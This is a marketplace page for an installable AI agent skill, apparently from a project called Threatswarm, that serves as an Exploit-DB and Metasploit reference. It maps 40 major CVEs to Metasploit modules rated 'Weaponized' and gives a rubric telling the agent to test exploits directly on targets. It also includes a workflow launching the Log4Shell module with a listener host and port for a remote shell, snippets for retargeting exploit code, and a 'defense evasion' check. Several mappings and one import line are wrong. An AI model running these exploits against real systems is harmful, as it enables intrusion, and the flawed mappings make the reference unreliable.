agentsclimarketplace

Exploit db

Skill mukul975/Threatswarm/.claude/skills/exploit-db

Exploit-DB and searchsploit reference — EDB→Metasploit module mappings, PoC reliability rubric, CVSS tier quick reference, and searchsploit usage patternsFrom its SKILL.md

Install
npx -y skills add mukul975/Threatswarm --skill exploit-db

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

SKILL.md

9.0 KB, as published. Nobody here has run it

searchsploit Usage Patterns

# Text search in title/path
searchsploit apache 2.4

# Search by CVE
searchsploit --cve CVE-2021-41773
searchsploit --cve CVE-2021-44228

# JSON output for scripting
searchsploit apache --json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for e in data.get('RESULTS_EXPLOIT', []):
    print(e['EDB-ID'], e['Title'], e['Path'])
"

# Copy exploit to working dir
searchsploit -m 50383

# Update database
searchsploit -u

# Search by nmap XML output
searchsploit --nmap nmap_output.xml

# Filter by type (webapps, local, remote, dos)
searchsploit -t "remote" apache

# Search for specific OS
searchsploit windows 10 privilege escalation

# Show only exploits (not shellcodes/papers)
searchsploit wordpress --www-exploit-db

EDB → Metasploit Module Mapping (Top 40 Vulnerabilities)

CVE / EDB-IDVulnerabilityMetasploit ModuleReliability
CVE-2017-0144 / EDB-41891MS17-010 EternalBlueexploit/windows/smb/ms17_010_eternalblueWeaponized
CVE-2021-44228 / EDB-50592Log4Shell RCEexploit/multi/http/log4shell_header_injectionWeaponized
CVE-2021-1675 / EDB-50265PrintNightmareexploit/windows/dcerpc/cve_2021_1675_printnightmareWeaponized
CVE-2021-34473 / EDB-50243ProxyShell Exchangeexploit/windows/http/exchange_proxyshell_rceWeaponized
CVE-2020-1472 / EDB-49071ZeroLogonauxiliary/admin/dcerpc/cve_2020_1472_zerologonWeaponized
CVE-2022-22965 / EDB-50798Spring4Shellexploit/multi/http/spring_framework_rce_spring4shellWeaponized
CVE-2019-19781 / EDB-47901Citrix ADC Path Traversalexploit/linux/http/citrix_dir_traversal_rceWeaponized
CVE-2020-5902 / EDB-48695F5 BIG-IP RCEexploit/linux/http/f5_bigip_tmui_rceWeaponized
CVE-2021-26855 / EDB-49637ProxyLogon Exchangeexploit/windows/http/exchange_proxylogon_rceWeaponized
CVE-2022-26134 / EDB-51076Confluence OGNL RCEexploit/multi/http/atlassian_confluence_namespace_ognl_injectionWeaponized
CVE-2018-13379 / EDB-47288FortiOS Path Traversalauxiliary/gather/fortios_vpn_user_credFunctional
CVE-2022-1388 / EDB-50919F5 iControl Auth Bypassexploit/linux/http/f5_icontrol_rceWeaponized
CVE-2021-20038 / EDB-50882SonicWall SMA Stack Overflowexploit/linux/http/sonicwall_sma_overflowFunctional
CVE-2023-46604 / EDB-51880Apache ActiveMQ RCEexploit/multi/misc/apache_activemq_rce_cve_2023_46604Weaponized
CVE-2021-3156 / EDB-49521Sudo Baron Sameditexploit/linux/local/sudo_baron_sameditWeaponized
CVE-2021-4034 / EDB-50689PwnKit polkit LPEexploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecWeaponized
CVE-2022-0847 / EDB-50808Dirty Pipe Linux LPEexploit/linux/local/cve_2022_0847_dirtypipeWeaponized
CVE-2016-5195 / EDB-40616Dirty COW Linux LPEexploit/linux/local/overlayfs_priv_escWeaponized
CVE-2014-6271 / EDB-34766Shellshock Bash RCEexploit/multi/http/apache_mod_cgi_bash_env_execWeaponized
CVE-2017-5638 / EDB-41570Apache Struts2 RCEexploit/multi/http/struts2_content_type_ognlWeaponized
CVE-2019-0708 / EDB-47416BlueKeep RDP RCEexploit/windows/rdp/cve_2019_0708_bluekeep_rceFunctional
CVE-2020-0796 / EDB-48260SMBGhost RCEexploit/windows/smb/cve_2020_0796_smbghostFunctional
CVE-2018-7600 / EDB-44449Drupalgeddon2 RCEexploit/unix/webapp/drupal_drupalgeddon2Weaponized
CVE-2019-0211 / EDB-46676Apache HTTPd LPEexploit/multi/http/apache_mod_cgi_bash_env_execFunctional
CVE-2015-1701 / EDB-37367Windows Win32k LPEexploit/windows/local/ms15_051_client_copy_imageWeaponized
CVE-2020-14882 / EDB-49391Oracle WebLogic RCEexploit/multi/http/oracle_weblogic_admin_handle_rceWeaponized
CVE-2021-22005 / EDB-50513vCenter File Uploadexploit/linux/http/vmware_vcenter_uploadova_rceWeaponized
CVE-2022-41040 / EDB-51917ProxyNotShell Exchangeexploit/windows/http/exchange_proxynotshell_rceFunctional
CVE-2023-22515 / EDB-51899Confluence Priv EscManual PoC requiredFunctional
CVE-2024-21762 / EDB-51960FortiOS OOB WriteManual PoC requiredWeaponized
CVE-2019-11510 / EDB-47297Pulse Secure Arb File Readauxiliary/gather/pulse_secure_file_readWeaponized
CVE-2020-3452 / EDB-48577Cisco ASA Path Traversalauxiliary/gather/cisco_asa_local_file_inclusionWeaponized
CVE-2021-40539 / EDB-50781ManageEngine RCEexploit/multi/http/manageengine_adselfservice_plusrceWeaponized
CVE-2022-36537 / EDB-51327ZK Framework RCEManual PoCFunctional
CVE-2023-4966 / EDB-51888Citrix Bleed Session LeakManual PoCWeaponized
CVE-2024-3400 / EDB-52023PAN-OS GlobalProtect RCEManual PoCWeaponized
CVE-2022-47966 / EDB-51518ManageEngine SAML RCEexploit/linux/http/zoho_manageengine_saml_rceWeaponized
CVE-2023-27997 / EDB-51832FortiGate SSL-VPN Heap BOFManual PoCWeaponized
CVE-2023-20198 / EDB-51873Cisco IOS XE Priv EscManual PoCWeaponized
CVE-2024-6387 / EDB-52098OpenSSH regreSSHionManual PoC (race)DoS-only

PoC Reliability Rubric

LevelLabelCriteriaAction
1WeaponizedWorks out-of-box against target version, produces shell/access reliablyTest directly; log as CONFIRMED
2FunctionalRequires minor adaptation (change URL, adjust offset)Modify per target; log as VERIFIED
3DoS-onlyCrashes service but no code execConfirm version, log as CONFIRMED-DOS
4TheoreticalAcademic writeup, no working codeWrite PoC from paper or skip
5False/InvalidPatched, misidentified, or wrong versionLog as NOT-APPLICABLE

Reliability Assessment Checklist:

□ Check affected version range vs target version (confirm match)
□ Read comments/issues on GitHub PoC for known problems
□ Check EDB verified badge (green checkmark = tested by staff)
□ Note compile requirements (libc version, kernel headers, etc.)
□ Test in identical OS/service version lab before live target
□ Check VT multi-scanner on compiled binary (defense evasion consideration)

CVSS 3.1 Tier Quick Reference

ScoreSeverityVector PatternExamples
9.0–10.0CRITICALAV:N/AC:L/PR:N/UI:N/S:CPre-auth RCE, unauthenticated critical
7.0–8.9HIGHAV:N/AC:L/PR:N/UI:NAuth bypass, post-auth RCE, LPE
4.0–6.9MEDIUMAV:N/AC:L/PR:L or AV:L/AC:LAuth required, info disclosure
0.1–3.9LOWAV:L/AC:H/PR:HPhysical access, complex conditions

Common Vector Components:

AV: N(network) L(local) P(physical) A(adjacent)
AC: L(low) H(high)
PR: N(none) L(low) H(high)
UI: N(none) R(required)
S:  U(unchanged) C(changed)
C/I/A: N(none) L(low) H(high)

Pre-built CVSS Vectors by Category:

Pre-auth RCE (critical):    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  = 9.8
Auth bypass + access:       CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  = 7.5
Post-auth RCE:              CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H  = 8.8
Local privilege escalation: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H  = 7.8
Stored XSS (admin):        CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N  = 5.4
SQLi (read-only):           CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N  = 6.5
SSRF (internal):            CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N  = 7.2
Path traversal (LFI):       CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  = 7.5
DoS (network):              CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  = 7.5
CSRF (state-change):        CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N  = 6.5

searchsploit + Metasploit Workflow

# 1. Find relevant exploits
searchsploit --cve CVE-2021-44228 --json | python3 -m json.tool

# 2. View exploit details before downloading
searchsploit -x exploits/java/webapps/50592.py

# 3. Mirror to current directory
searchsploit -m 50592

# 4. Find matching MSF module
msfconsole -q -x "search cve:2021-44228; exit"

# 5. Run MSF module
msfconsole -q -x "
use exploit/multi/http/log4shell_header_injection
set RHOSTS $TARGET
set RPORT $PORT
set TARGETURI /
set LHOST $LHOST
set LPORT $LPORT
run
exit
"

Common Exploit Modification Patterns

# Pattern 1: Fix URL in raw exploit
import re
code = open('exploit.py').read()
code = re.sub(r'http://[0-9.]+', f'http://{TARGET}', code)

# Pattern 2: Fix shell command in exploit
# Find LHOST/LPORT references and replace with env vars
import os
LHOST = os.environ['LHOST']
LPORT = os.environ['LPORT']

# Pattern 3: Adjust buffer offset for target binary version
# Use cyclic pattern to find EIP/RIP offset
python3 -c "from pwntools import *; print(cyclic(200))" | ./$BINARY
# Then check crash offset with: cyclic_find(b'faab')

Keep looking

Skills are one crate of 628,853. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.